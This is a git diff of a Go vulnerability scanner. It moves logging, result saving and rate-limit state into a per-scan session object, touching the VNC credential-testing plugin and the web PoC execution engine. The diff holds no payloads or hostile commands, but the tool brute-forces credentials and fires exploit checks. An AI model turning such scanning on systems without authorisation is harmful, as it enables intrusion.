a/plugins/services/vnc.go +++ b/plugins/services/vnc.go @@ -30,7 +30,7 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co // 检查未授权访问 if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success { - common.LogVuln(i18n.Tr("vnc_unauth", target)) + session.LogVuln(i18n.Tr("vnc_unauth", target)) return result } @@ -54,7 +54,7 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co result := TestCredentialsConcurrently(ctx, credentials, authFn, "vnc", testConfig) if result.Success { - common.LogVuln(i18n.Tr("vnc_credential", target, result.Password)) + session.LogVuln(i18n.Tr("vnc_credential", target, result.Password)) } return result diff --git a/plugins/web/webpoc.go b/plugins/web/webpoc.go index 094f25a..e266843 100644 --- a/plugins/web/webpoc.go +++ b/plugins/web/webpoc.go @@ -107,8 +107,8 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session // 全量模式:忽略指纹和CDN/WAF检测,直接扫描所有POC target := info.Target() - common.LogDebug(i18n.Tr("webpoc_full_scan_mode", target)) - WebScan.WebScan(ctx, info, config) + session.LogDebug(i18n.Tr("webpoc_full_scan_mode", target)) + WebScan.WebScan(ctx, info, config, session) return &WebScanResult{ Type: plugins.ResultTypeWeb, diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index c8776e5..4a4ab0a 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -65,9 +65,9 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, sessio // 有指纹用绿色,无指纹用白色 if len(fingerprints) > 0 { - common.LogSuccess(msg) + session.LogSuccess(msg) } else { - common.LogInfo(msg) + session.LogInfo(msg) } return &WebScanResult{ @@ -175,7 +175,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, } // 执行指纹识别(合并原始响应和跳转后响应的指纹) - fingerprints := p.identifyFingerprintsMulti(ctx, info, baseURL, checkDataList, config) + fingerprints := p.identifyFingerprintsMulti(ctx, info, baseURL, checkDataList, config, session) return title, statusCode, contentLen, server, fingerprints, displayURL, nil } @@ -204,38 +204,38 @@ func (p *WebTitlePlugin) resolveRedirectURL(baseURL, location string) string { } // identifyFingerprintsMulti 识别多个响应的指纹并合并 -func (p *WebTitlePlugin) identifyFingerprintsMulti(ctx context.Context, info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config) []string { +func (p *WebTitlePlugin) identifyFingerprintsMulti(ctx context.Context, info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config, session *common.ScanSession) []string { // 调用指纹识别 fingerprints := WebScan.InfoCheck(baseURL, &checkDataList) // 非全量模式下,基于指纹触发POC扫描 if !config.POC.Full && !config.POC.Disabled { - p.triggerPocScan(ctx, info, fingerprints, config) + p.triggerPocScan(ctx, info, fingerprints, config, session) } return fingerprints } // triggerPocScan 基于指纹触发POC扫描 -func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostInfo, fingerprints []string, config *common.Config) { +func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostInfo, fingerprints []string, config *common.Config, session *common.ScanSession) { target := info.Target() // 无指纹,跳过 if len(fingerprints) == 0 { - common.LogDebug(i18n.Tr("webtitle_no_fingerprint_skip_poc", target)) + session.LogDebug(i18n.Tr("webtitle_no_fingerprint_skip_poc", target)) return } // 检测CDN/WAF if cdnName := matchCDNorWAF(fingerprints); cdnName != "" { - common.LogDebug(i18n.Tr("webtitle_cdn_waf_skip_poc", target, cdnName)) + session.LogDebug(i18n.Tr("webtitle_cdn_waf_skip_poc", target, cdnName)) return } // 基于指纹执行POC扫描 - common.LogDebug(i18n.Tr("webtitle_trigger_fingerprint_poc", target, fingerprints)) + session.LogDebug(i18n.Tr("webtitle_trigger_fingerprint_poc", target, fingerprints)) info.Info = fingerprints - WebScan.WebScan(ctx, info, config) + WebScan.WebScan(ctx, info, config, session) } // formatHeaders 将 HTTP Header 格式化为字符串 diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index a773586..35efa43 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -367,7 +367,7 @@ func reverseCheck(r *Reverse, timeout int64) bool { if err != nil { return false } - resp, err := DoRequest(req, false) + resp, err := DoRequest(req, false, nil) if err != nil { return false } @@ -419,7 +419,8 @@ func RandomStr(randSource *rand.Rand, letterBytes string, n int) string { } // DoRequest 执行 HTTP 请求 -func DoRequest(req *http.Request, redirect bool) (*Response, error) { +// session 为 nil 时回退到全局 state(兼容 CEL runtime 等无 session 场景) +func DoRequest(req *http.Request, redirect bool, session *common.ScanSession) (*Response, error) { // 处理请求头 if req.Body != nil && req.Body != http.NoBody { body, err := io.ReadAll(req.Body) @@ -444,9 +445,23 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { // 执行请求 // 检查发包限制 - if canSend, reason := common.CanSendPacket(); !canSend { - common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason)) - return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) + var state *common.State + if session != nil { + state = session.State + if canSend, err := common.CanSendPacketWith(session.Config, state); !canSend { + reason := "" + if err != nil { + reason = err.Error() + } + common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason)) + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) + } + } else { + state = common.GetGlobalState() + if canSend, reason := common.CanSendPacket(); !canSend { + common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason)) + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) + } } var ( @@ -480,12 +495,12 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { if err != nil { // HTTP请求失败,计为TCP失败 - common.GetGlobalState().IncrementTCPFailedPacketCount() + state.IncrementTCPFailedPacketCount() return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_execute_failed"), err) } // HTTP请求成功,计为TCP成功 - common.GetGlobalState().IncrementTCPSuccessPacketCount() + state.IncrementTCPSuccessPacketCount() defer func() { _ = oResp.Body.Close() }() // 解析响应 diff --git a/webscan/lib/eval_test.go b/webscan/lib/eval_test.go index d032d6d..9eb97ae 100644 --- a/webscan/lib/eval_test.go +++ b/webscan/lib/eval_test.go @@ -1104,7 +1104,7 @@ func TestDoRequestBuffersUnknownLengthBody(t *testing.T) { } req.ContentLength = -1 - if _, err := DoRequest(req, false); err != nil { + if _, err := DoRequest(req, false, nil); err != nil { t.Fatalf("DoRequest error = %v", err) } if gotContentLength != "3" { @@ -1147,7 +1147,7 @@ func TestDoRequestReplaysBodyForGMTLSFallback(t *testing.T) { t.Fatalf("NewRequest error = %v", err) } - if _, err := DoRequest(req, false); err != nil { + if _, err := DoRequest(req, false, nil); err != nil { t.Fatalf("DoRequest error = %v", err) } if gotBody != "payload" { diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index 3236080..de95b35 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -52,6 +52,7 @@ type VulnResult struct { type POCContext struct { DNSLog bool // 是否启用DNSLog检测 POCFull bool // 是否完整POC扫描 + Session *common.ScanSession } // CheckMultiPoc 并发执行多个POC检测 @@ -82,7 +83,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte // 处理执行过程中的错误 if err != nil { - common.LogError(i18n.Tr("webscan_poc_exec_error", task.Poc.Name, err)) + pocCtx.Session.LogError(i18n.Tr("webscan_poc_exec_error", task.Poc.Name, err)) continue } @@ -117,7 +118,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte Status: "vulnerable", Details: details, } - _ = common.SaveResult(result) + _ = pocCtx.Session.SaveResult(result) // 构造控制台输出的日志信息 logMsg := i18n.Tr("webscan_vuln_detail_header", @@ -141,7 +142,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int, pocCtx *POCConte } // 输出成功日志 - common.LogVuln(logMsg) + pocCtx.Session.LogVuln(logMsg) } } }() @@ -216,7 +217,7 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e continue } if _, err = evalset(env, variableMap, key, expression); err != nil { - common.LogError(i18n.Tr("webscan_set_exec_error", p.Name, err)) + pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", p.Name, err)) } } @@ -226,11 +227,11 @@ func executePoc(oReq *http.Request, p *Poc, pocCtx *POCContext) (bool, string, e return success, "", err } - return executeRules(oReq, p, variableMap, req, env) + return executeRules(oReq, p, variableMap, req, env, pocCtx.Session) } // executeRules 执行POC规则并返回结果 -func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (bool, string, error) { +func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, session *common.ScanSession) (bool, string, error) { // 处理单个规则的函数 executeRule := func(rule Rules) (bool, error) { Headers := cloneMap(rule.Headers) @@ -279,7 +280,7 @@ func executeRules(oReq *http.Request, p *Poc, variableMap map[string]interface{} _ = Headers // 清空Headers // 发送请求 - resp, err := DoRequest(newRequest, rule.FollowRedirects) + resp, err := DoRequest(newRequest, rule.FollowRedirects, session) newRequest = nil if err != nil { return false, err @@ -447,7 +448,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, // 检查是否需要进行参数Fuzz测试 if !isFuzz(rule, p.Sets) { // 不需要Fuzz,直接发送请求 - success, err = clustersend(oReq, variableMap, req, env, rule) + success, err = clustersend(oReq, variableMap, req, env, rule, pocCtx.Session) if err != nil { return false, err } @@ -492,7 +493,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, } output, err := evalset1(env, variableMap, key, expr) if err != nil { - common.LogError(i18n.Tr("webscan_set_exec_error", key, err)) + pocCtx.Session.LogError(i18n.Tr("webscan_set_exec_error", key, err)) } payloads[key] = output } @@ -513,7 +514,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, ruleHash[ruleMD5] = struct{}{} // 发送请求并处理结果 - success, err = clustersend(oReq, variableMap, req, env, currentRule) + success, err = clustersend(oReq, variableMap, req, env, currentRule, pocCtx.Session) if err != nil { return false, err } @@ -524,7 +525,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, // 处理成功情况 if currentRule.Continue { // 使用Continue标志时,记录但继续测试其他参数 - recordVulnerabilityResult(targetURL, p, currentParams, false) + recordVulnerabilityResult(targetURL, p, currentParams, false, pocCtx.Session) continue } @@ -532,7 +533,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, strMap = append(strMap, currentParams...) if ruleIndex == len(p.Rules)-1 { // 最终规则成功,记录完整的结果并返回 - recordVulnerabilityResult(targetURL, p, strMap, false) + recordVulnerabilityResult(targetURL, p, strMap, false, pocCtx.Session) return false, nil } break paramLoop @@ -617,7 +618,7 @@ func getRuleHash(rule *Rules) string { } // recordVulnerabilityResult 记录漏洞检测结果 -func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, skipSave bool) { +func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, skipSave bool, session *common.ScanSession) { // 构造详细信息 details := make(map[string]interface{}) details["vulnerability_type"] = pocDef.Name @@ -656,7 +657,7 @@ func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, ski Status: "vulnerable", Details: details, } - _ = common.SaveResult(result) + _ = session.SaveResult(result) } // 生成日志消息 @@ -668,7 +669,7 @@ func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, ski } // 输出成功日志 - common.LogVuln(logMsg) + session.LogVuln(logMsg) } // isFuzz 检查规则是否包含需要Fuzz测试的参数 @@ -738,7 +739,7 @@ func MakeData(base [][]string, nextData []string) [][]string { } // clustersend 执行单个规则的HTTP请求和响应检测 -func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) { +func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules, session *common.ScanSession) (bool, error) { // 替换请求中的变量 for varName, varValue := range variableMap { // 跳过map类型的变量 @@ -786,7 +787,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re } // 发送请求 - resp, err := DoRequest(newRequest, rule.FollowRedirects) + resp, err := DoRequest(newRequest, rule.FollowRedirects, session) if err != nil { return false, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_send_error"), err) } diff --git a/webscan/web_scan.go b/webscan/web_scan.go index f7b0914..eb0cabc 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -48,7 +48,7 @@ var ( ) // WebScan 执行Web漏洞扫描 -func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { +func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config, session *common.ScanSession) { // 初始化POC配置(用于CEL回调函数) lib.InitPOCConfig(cfg.DNSLog) @@ -65,19 +65,19 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { // 验证输入 if info == nil { - common.LogError(i18n.GetText("invalid_scan_target")) + session.LogError(i18n.GetText("invalid_scan_target")) return } if len(allPocs) == 0 { - common.LogError(i18n.GetText("poc_load_failed")) + session.LogError(i18n.GetText("poc_load_failed")) return } // 构建目标URL target, err := buildTargetURL(info) if err != nil { - common.LogError(i18n.Tr("webscan_target_url_failed", err)) + session.LogError(i18n.Tr("webscan_target_url_failed", err)) return } @@ -91,13 +91,13 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { // 根据扫描策略执行POC if cfg.POC.PocName == "" && len(info.Info) == 0 { // 执行所有POC - executePOCs(ctx, config.PocInfo{Target: target}, cfg) + executePOCs(ctx, config.PocInfo{Target: target}, cfg, session) } else if len(info.Info) > 0 { // 基于指纹信息执行POC - scanByFingerprints(ctx, target, info.Info, cfg) + scanByFingerprints(ctx, target, info.Info, cfg, session) } else if cfg.POC.PocName != "" { // 基于指定POC名称执行 - executePOCs(ctx, config.PocInfo{Target: target, PocName: cfg.POC.PocName}, cfg) + executePOCs(ctx, config.PocInfo{Target: target, PocName: cfg.POC.PocName}, cfg, session) } } @@ -126,7 +126,7 @@ func hasProtocolPrefix(urlStr string) bool { } // scanByFingerprints 根据指纹执行POC -func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config) { +func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config, session *common.ScanSession) { for _, fingerprint := range fingerprints { if fingerprint == "" { continue @@ -137,15 +137,15 @@ func scanByFingerprints(ctx context.Context, target string, fingerprints []strin continue } - executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName}, cfg) + executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName}, cfg, session) } } // executePOCs 执行POC检测 -func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config) { +func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config, session *common.ScanSession) { // 验证目标 if pocInfo.Target == "" { - common.LogError(ErrEmptyTarget.Error()) + session.LogError(ErrEmptyTarget.Error()) return } @@ -157,21 +157,21 @@ func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config // 验证URL _, err := url.Parse(pocInfo.Target) if err != nil { - common.LogError(i18n.Tr("webscan_invalid_url", ErrInvalidURL, pocInfo.Target, err)) + session.LogError(i18n.Tr("webscan_invalid_url", ErrInvalidURL, pocInfo.Target, err)) return } // 创建基础请求 req, err := createBaseRequest(ctx, pocInfo.Target, cfg) if err != nil { - common.LogError(i18n.Tr("webscan_request_create_failed", err)) + session.LogError(i18n.Tr("webscan_request_create_failed", err)) return } // 筛选POC matchedPocs := filterPocs(pocInfo.PocName) if len(matchedPocs) == 0 { - common.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName)) + session.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName)) return } @@ -179,6 +179,7 @@ func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config pocCtx := &lib.POCContext{ DNSLog: cfg.DNSLog, POCFull: cfg.POC.Full, + Session: session, } // 执行POC检测